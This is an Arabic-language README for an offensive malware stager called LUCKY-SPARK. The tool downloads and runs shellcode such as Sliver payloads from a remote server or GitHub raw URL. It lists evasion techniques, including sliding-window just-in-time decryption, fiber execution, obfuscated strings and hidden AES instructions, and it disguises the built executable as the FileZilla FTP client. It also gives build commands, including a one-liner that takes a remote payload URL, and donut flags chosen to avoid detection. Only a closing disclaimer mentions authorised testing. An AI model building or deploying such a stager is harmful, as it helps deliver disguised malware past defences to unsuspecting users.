LUCKY-SPARK

⟪ LUCKY-SPARK ⟫ هو أداة توجيه (stager) مصممة لـ shellcode payloads التي يتم توجيهها عبر http/https مثل sliver أو على github raw. يستخدم أساليب إخفاء وتجنب حديثة مثل التشفير في الوقت المناسب بنافذة منزلقة (sliding window just-in-time decryption) للحمولة وتصحيح تعليمات وحدة المعالجة المركزية. بشكل افتراضي، يقوم بإنشاء ملف تنفيذي يتنكر بهيئة عميل FileZilla FTP.

الميزات

• مُحمِّل حمولة Sliver الموجهة يقوم بتحميل وتنفيذ حمولة Sliver من خادم محدد.
• فك تشفير Shellcode في الوقت المناسب (JIT) يقوم بفك تشفير نافذة منزلقة فقط من الحمولة لتقليل التعرض.
• التنفيذ استنادًا إلى الألياف (Fiber-based) تشغيل shellcode داخل ألياف لتحسين التخفي وتعقيد التحليل.
• حل ديناميكي لواجهات API يتم تحميل دوال Windows API المشبوهة أو المعرضة للكشف ديناميكيًا في وقت التشغيل.
• إخفاء السلاسل النصية يتم تشفير السلاسل الحساسة (مثل عناوين URL، ووكلاء المستخدم) باستخدام التشفير الأفيني (affine cipher) وتخزينها بشكل مبهم في البرنامج الثنائي المُجمَّع.
• تصحيح تعليمات وحدة المعالجة المركزية يتم إخفاء تعليمات AES لوحدة المعالجة المركزية خلف تعليمات غير مريبة مثل pmulqd ويتم تصحيحها بعد التنفيذ.
• تنكر تلقائي يتم تنكر EXE تلقائيًا بهيئة FileZilla مع البيان المناسب ومعلومات الإصدار والأيقونات.
• وكيل مستخدم قابل للتخصيص يدعم تحديد سلسلة وكيل مستخدم مخصصة لطلبات الشبكة.

التثبيت

قم باستنساخ أو تنزيل المستودع وتأكد من تثبيت make و mingw على نظامك.

git clone <repository_url>
cd LUCKY-SPARK

الاستخدام

تفاعلي

قم بتنفيذ سكربت إنشاء البرنامج الثنائي.

./luckySpark.sh

سيُطلب منك إدخال عنوان URL لحمولتك الموجهة ووكيل مستخدم اختياري.

سطر واحد

يمكن تنفيذه في سطر واحد ليتم تضمينه في السكربتات:

./luckySpark.sh -u https://github.com/GITHUBNAME/PAYLOADREPO/raw/refs/heads/main/PAYLOAD.bin -a "Mozilla/5.0"

اقتراحات الحمولات

إذا كنت تستخدم donut أو Sliver (الذي يستخدم donut) فإنني أوصي بهذه العلامات لإنشاء الحمولة:

donut.exe -i examplePayload.exe -a 2 -e 1 -z 1 -b 1 -o payload.bin

هذا يتجنب السلوك المشبوه والمُعلّم بواسطة donut. خاصة أن تجنب donot نفسه مُعلّم بشكل كبير، ومن المفارقة.

تشغيل المُحمِّل

ينشئ هذا ملفًا ثنائيًا filezilla.exe والذي عند تنفيذه يقوم باسترداد وتنفيذ الحمولة.

توجيه حمولة

صُمم هذا الموجه (stager) للاستخدام مع Sliver. قم بتوجيه حمولة Sliver كما هو موضح هنا توجيه Sliver لا تقم بتشفير الحمولة.

لكن أي طريقة توجيه قائمة على http/https ستعمل. مثل python3 -m http.server أو حمولة مرفوعة على github.com في مستودع عام.

هذا الموجه لا يدعم بروتوكول توجيه meterpreter.

نافذة منزلقة JITD

Step 1: RIP hits Page 0 and Page 0 gets decrypted 
  Pages:           [  D  |  E  |  E  | ... ]
  RIP ->              ^

Step 2: RIP hits Page 1 and Page 1 gets decrypted 
  Pages:           [  D  |  D  |  E  | ... ]
  RIP ->                    ^

Step 3: RIP hits Page 2 and Page 2 gets decrypted. Page 0 gets encrypted
  Pages:           [  E  |  D  |  D  | ... ]
  RIP ->                          ^

كيف يعمل:

1. عندما يصل RIP إلى صفحة محمية، يقوم معالج VEH بفك تشفير تلك الصفحة.
2. أقدم صفحة في نافذة الصفحات الثلاثة يتم إعادة تشفيرها.
3. فقط الصفحتان الأخيرتان يتم فك تشفيرهما، والباقي يظل محميًا.
4. هذه "النافذة المنزلقة" تتحرك مع RIP أثناء تنفيذ الكود.

الأمان وإخلاء المسؤولية

LUCKY-SPARK مخصص فقط للأغراض التعليمية والبحثية واختبار الاختراق المصرح به. الاستخدام غير المصرح به ضد الأنظمة دون إذن هو غير قانوني وغير أخلاقي.